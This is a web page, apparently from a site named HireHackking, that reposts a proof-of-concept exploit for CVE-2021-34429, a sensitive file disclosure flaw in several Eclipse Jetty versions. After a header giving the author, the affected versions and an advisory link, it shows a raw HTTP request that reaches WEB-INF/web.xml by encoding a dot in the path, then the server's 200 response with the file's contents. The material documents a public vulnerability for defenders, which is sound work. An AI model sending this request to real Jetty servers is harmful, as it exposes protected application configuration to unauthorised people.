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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Eclipse Jetty 11.0.5 - Sensitive File Disclosure 
# Date: 2021-11-03
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/
# Version: 9.4.37 ≤ version < 9.4.43, 10.0.1 ≤ version < 10.0.6, 11.0.1 ≤ version < 11.0.6
# Security Advisory: https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
# Tested on: Kali Linux
# CVE : CVE-2021-34429
# Github POC: https://github.com/ColdFusionX/CVE-2021-34429

POC - Access WEB-INF/web.xml 

## Request

GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: localhost:9006
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

## Response

HTTP/1.1 200 OK
Connection: close
Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT
Content-Type: application/xml
Accept-Ranges: bytes
Content-Length: 209
Server: Jetty(11.0.5)

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>ColdFusionX - Web Application</display-name>
</web-app>